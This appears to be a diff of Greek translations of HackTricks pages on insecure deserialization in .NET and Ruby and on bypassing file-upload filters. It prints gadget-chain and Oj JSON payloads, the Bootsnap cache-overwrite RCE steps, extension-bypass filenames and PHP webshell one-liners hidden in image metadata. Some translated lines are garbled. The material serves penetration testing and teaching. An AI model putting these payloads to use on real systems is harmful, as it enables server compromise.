- **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως το `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί.
|
- **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως το `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί.
|
||||||
- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσυμπίεσης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα.
|
- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα.
|
||||||
- **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας έναν προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`.
|
- **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας έναν προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`.
|
||||||
- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή εργαλεία αποσυμπίεσης** εντός του .Net και διασφαλίστε ότι οι αποσυμπιεστές δεν δημιουργούν τέτοιους τύπους.
|
- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή gadgets αποσειριοποίησης** εντός του .Net και διασφαλίστε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους.
|
||||||
- **Απομονώστε τον δυνητικά επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών εργαλείων, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
|
- **Απομονώστε τον δυνητικά επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών gadgets, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
|
||||||
|
|
||||||
### **References**
|
### **References**
|
||||||
|
|
||||||
- Έγγραφο για την αποσυμπίεση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
- Έγγραφο για την αποσειριοποίηση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||||
|
|
||||||
## **Ruby**
|
## **Ruby**
|
||||||
|
|
||||||
Στη Ruby, η αποθήκευση είναι διευκολυνόμενη από δύο μεθόδους μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποθήκευση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσυμπίεση.
|
Στη Ruby, η αποσειριοποίηση διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποσειριοποίηση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσειριοποίηση.
|
||||||
|
|
||||||
Για την ασφάλεια των αποθηκευμένων αντικειμένων, **η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες:
|
Για την ασφάλεια των αποσειριοποιημένων αντικειμένων, **η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες:
|
||||||
|
|
||||||
- `config/environment.rb`
|
- `config/environment.rb`
|
||||||
- `config/initializers/secret_token.rb`
|
- `config/initializers/secret_token.rb`
|
||||||
- `config/secrets.yml`
|
- `config/secrets.yml`
|
||||||
- `/proc/self/environ`
|
- `/proc/self/environ`
|
||||||
|
|
||||||
**Γενική αποσυμπίεση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
**Γενική αποσειριοποίηση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||||
```ruby
|
```ruby
|
||||||
#!/usr/bin/env ruby
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
@ -825,7 +825,7 @@ puts Base64.encode64(payload)
|
|||||||
```ruby
|
```ruby
|
||||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||||
```
|
```
|
||||||
Επιπλέον, αν μόνο μία παράμετρος του **`.send()`** ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στην προηγούμενη αναφορά, είναι δυνατόν να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που **δεν χρειάζεται παραμέτρους** ή των οποίων οι παράμετροι έχουν **προεπιλεγμένες τιμές**.\
|
Επιπλέον, αν μόνο μία παράμετρος του **`.send()`** ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στην προηγούμενη περιγραφή, είναι δυνατόν να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που **δεν χρειάζεται παραμέτρους** ή των οποίων οι παράμετροι έχουν **προεπιλεγμένες τιμές**.\
|
||||||
Για αυτό, είναι δυνατόν να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να **βρεθούν κάποιες ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις απαιτήσεις**.
|
Για αυτό, είναι δυνατόν να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να **βρεθούν κάποιες ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις απαιτήσεις**.
|
||||||
```ruby
|
```ruby
|
||||||
<Object>.send('<user_input>')
|
<Object>.send('<user_input>')
|
||||||
@ -860,7 +860,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
|||||||
|
|
||||||
### Other libraries
|
### Other libraries
|
||||||
|
|
||||||
Αυτή η τεχνική ελήφθη[ **από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
Αυτή η τεχνική ελήφθη [**από αυτήν την ανάρτηση blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||||
|
|
||||||
Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία για κατάχρηση για να αποκτήσετε RCE βασικά):
|
Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία για κατάχρηση για να αποκτήσετε RCE βασικά):
|
||||||
|
|
||||||
@ -888,7 +888,7 @@ puts json_payload
|
|||||||
# Sink vulnerable inside the code accepting user input as json_payload
|
# Sink vulnerable inside the code accepting user input as json_payload
|
||||||
Oj.load(json_payload)
|
Oj.load(json_payload)
|
||||||
```
|
```
|
||||||
Στην περίπτωση που προσπαθήσαμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση `hash` της θα καλούσε το `to_s`, το οποίο θα καλούσε το spec, το οποίο θα καλούσε το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτών των ειδών μη απολυμανμένων ευπαθειών αποσυμπίεσης.
|
Στην περίπτωση που προσπαθήσαμε να εκμεταλλευτούμε το Oj, ήταν δυνατό να βρούμε μια κλάση gadget που μέσα στη συνάρτηση `hash` της θα καλούσε το `to_s`, το οποίο θα καλούσε το spec, το οποίο θα καλούσε το fetch_path, το οποίο ήταν δυνατό να το κάνουμε να ανακτήσει μια τυχαία διεύθυνση URL, παρέχοντας έναν εξαιρετικό ανιχνευτή αυτού του είδους των μη απολυμασμένων ευπαθειών αποσυμπίεσης.
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"^o": "URI::HTTP",
|
"^o": "URI::HTTP",
|
||||||
@ -922,6 +922,41 @@ Oj.load(json_payload)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Δείτε περισσότερες λεπτομέρειες στην [**πρωτότυπη ανάρτηση**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||||
|
|
||||||
|
### Bootstrap Caching
|
||||||
|
|
||||||
|
Όχι πραγματικά μια ευπάθεια αποσυμπίεσης, αλλά ένα ωραίο κόλπο για να εκμεταλλευτείτε την προσωρινή αποθήκευση bootstrap για να αποκτήσετε RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρείτε την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||||
|
|
||||||
|
Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής αποθήκευσης Bootsnap:
|
||||||
|
|
||||||
|
- Identify the Vulnerability and Environment
|
||||||
|
|
||||||
|
Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-ριζικού χρήστη του Docker), αυτό επιτρέπει ακόμα την εγγραφή στον φάκελο προσωρινής αποθήκευσης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap).
|
||||||
|
|
||||||
|
- Understand Bootsnap’s Cache Mechanism
|
||||||
|
|
||||||
|
Η Bootsnap επιταχύνει τους χρόνους εκκίνησης του Rails αποθηκεύοντας προσωρινά κωδικοποιημένα Ruby, YAML και JSON αρχεία. Αποθηκεύει αρχεία προσωρινής αποθήκευσης που περιλαμβάνουν μια κεφαλίδα κλειδιού προσωρινής αποθήκευσης (με πεδία όπως η έκδοση Ruby, το μέγεθος αρχείου, το mtime, οι επιλογές μεταγλώττισης κ.λπ.) ακολουθούμενη από τον κωδικοποιημένο κώδικα. Αυτή η κεφαλίδα χρησιμοποιείται για την επικύρωση της προσωρινής αποθήκευσης κατά την εκκίνηση της εφαρμογής.
|
||||||
|
|
||||||
|
- Gather File Metadata
|
||||||
|
|
||||||
|
Ο επιτιθέμενος πρώτα επιλέγει ένα αρχείο στόχο που είναι πιθανό να φορτωθεί κατά την εκκίνηση του Rails (για παράδειγμα, το set.rb από τη βιβλιοθήκη standard της Ruby). Εκτελώντας κώδικα Ruby μέσα στο κοντέινερ, εξάγουν κρίσιμα μεταδεδομένα (όπως RUBY_VERSION, RUBY_REVISION, μέγεθος, mtime και compile_option). Αυτά τα δεδομένα είναι απαραίτητα για τη δημιουργία ενός έγκυρου κλειδιού προσωρινής αποθήκευσης.
|
||||||
|
|
||||||
|
- Compute the Cache File Path
|
||||||
|
|
||||||
|
Αναπαράγοντας τον μηχανισμό κατακερματισμού FNV-1a 64-bit της Bootsnap, προσδιορίζεται η σωστή διαδρομή του αρχείου προσωρινής αποθήκευσης. Αυτό το βήμα διασφαλίζει ότι το κακόβουλο αρχείο προσωρινής αποθήκευσης τοποθετείται ακριβώς εκεί που το περιμένει η Bootsnap (π.χ., κάτω από tmp/cache/bootsnap/compile-cache-iseq/).
|
||||||
|
|
||||||
|
- Craft the Malicious Cache File
|
||||||
|
|
||||||
|
Ο επιτιθέμενος προετοιμάζει ένα payload που:
|
||||||
|
|
||||||
|
- Εκτελεί τυχαίες εντολές (για παράδειγμα, εκτελώντας id για να δείξει πληροφορίες διαδικασίας).
|
||||||
|
- Αφαιρεί την κακόβουλη προσωρινή αποθήκευση μετά την εκτέλεση για να αποτρέψει αναδρομική εκμετάλλευση.
|
||||||
|
- Φορτώνει το αρχικό αρχείο (π.χ., set.rb) για να αποφευχθεί η κατάρρευση της εφαρμογής.
|
||||||
|
|
||||||
|
Αυτό το payload μεταγλωττίζεται σε δυαδικό κώδικα Ruby και συγχωνεύεται με μια προσεκτικά κατασκευασμένη κεφαλίδα κλειδιού προσωρινής αποθήκευσης (χρησιμοποιώντας τα προηγουμένως συγκεντρωμένα μεταδεδομένα και τον σωστό αριθμό έκδοσης για την Bootsnap).
|
||||||
|
|
||||||
|
- Overwrite and Trigger Execution
|
||||||
|
Χρησιμοποιώντας την ευπάθεια τυχαίας εγγραφής αρχείου, ο επιτιθέμενος γράφει το κατασκευασμένο αρχείο προσωρινής αποθήκευσης στην υπολογισμένη τοποθεσία. Στη συνέχεια, ενεργοποιούν μια επανεκκίνηση του διακομιστή (γράφοντας στο tmp/restart.txt, το οποίο παρακολουθείται από την Puma). Κατά την επανεκκίνηση, όταν το Rails απαιτεί το στοχευμένο αρχείο, το κακόβουλο αρχείο προσωρινής αποθήκευσης φορτώνεται, με αποτέλεσμα την απομακρυσμένη εκτέλεση κώδικα (RCE).
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -17,11 +17,11 @@
|
|||||||
|
|
||||||
### Bypass file extensions checks
|
### Bypass file extensions checks
|
||||||
|
|
||||||
1. Αν ισχύουν, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης να τις χρησιμοποιήσετε με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
1. Αν ισχύουν, **έλεγξε** τις **προηγούμενες επεκτάσεις.** Δοκίμασε επίσης να τις χρησιμοποιήσεις με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
2. _Έλεγξε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποίησε και τις προηγούμενες επεκτάσεις):_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.Php5_
|
- _file.png.Php5_
|
||||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερόμενες **επεκτάσεις**_)
|
3. Δοκίμασε να προσθέσεις **ειδικούς χαρακτήρες στο τέλος.** Μπορείς να χρησιμοποιήσεις το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημείωσε ότι μπορείς επίσης να δοκιμάσεις να χρησιμοποιήσεις τις **προηγούμενες** αναφερόμενες **επεκτάσεις**_)
|
||||||
- _file.php%20_
|
- _file.php%20_
|
||||||
- _file.php%0a_
|
- _file.php%0a_
|
||||||
- _file.php%00_
|
- _file.php%00_
|
||||||
@ -31,7 +31,7 @@
|
|||||||
- _file._
|
- _file._
|
||||||
- _file.php...._
|
- _file.php...._
|
||||||
- _file.pHp5...._
|
- _file.pHp5...._
|
||||||
4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε ένα καλύτερο payload._
|
4. Δοκίμασε να παρακάμψεις τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείς επίσης να χρησιμοποιήσεις τις **προηγούμενες επεκτάσεις** για να προετοιμάσεις μια καλύτερη payload._
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.pHp5_
|
- _file.png.pHp5_
|
||||||
- _file.php#.png_
|
- _file.php#.png_
|
||||||
@ -40,13 +40,13 @@
|
|||||||
- _file.php%0a.png_
|
- _file.php%0a.png_
|
||||||
- _file.php%0d%0a.png_
|
- _file.php%0d%0a.png_
|
||||||
- _file.phpJunk123png_
|
- _file.phpJunk123png_
|
||||||
5. Προσθέστε **ένα άλλο επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
|
5. Πρόσθεσε **άλλη μια στρώση επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||||
- _file.png.jpg.php_
|
- _file.png.jpg.php_
|
||||||
- _file.php%00.png%00.jpg_
|
- _file.php%00.png%00.jpg_
|
||||||
6. Δοκιμάστε να τοποθετήσετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για την εκμετάλλευση κακοδιαμορφώσεων του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
|
6. Δοκίμασε να βάλεις την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχήσου ώστε ο διακομιστής να είναι κακορυθμισμένος. (χρήσιμο για να εκμεταλλευτείς κακορυθμίσεις του Apache όπου οτιδήποτε με επέκταση **.php** θα εκτελεί κώδικα):
|
||||||
- _ex: file.php.png_
|
- _ex: file.php.png_
|
||||||
7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψει περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”)
|
7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψεις περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”)
|
||||||
8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
8. Δοκίμασε να σπάσεις τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maximum 255 bytes
|
# Linux maximum 255 bytes
|
||||||
@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||||||
|
|
||||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||||
|
|
||||||
- Παρακάμψτε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
- Παρακάμψε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
- Παρακάμψτε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
|
- Παρακάμψε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
`\` ή μπορείς επίσης να **εισάγεις την payload απευθείας** σε μια εικόνα:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
- Αν **συμπίεση προστίθεται στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
- Αν **συμπίεση προστίθεται στην εικόνα σου**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||||
- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||||
- Μια άλλη τεχνική για να δημιουργήσετε ένα payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
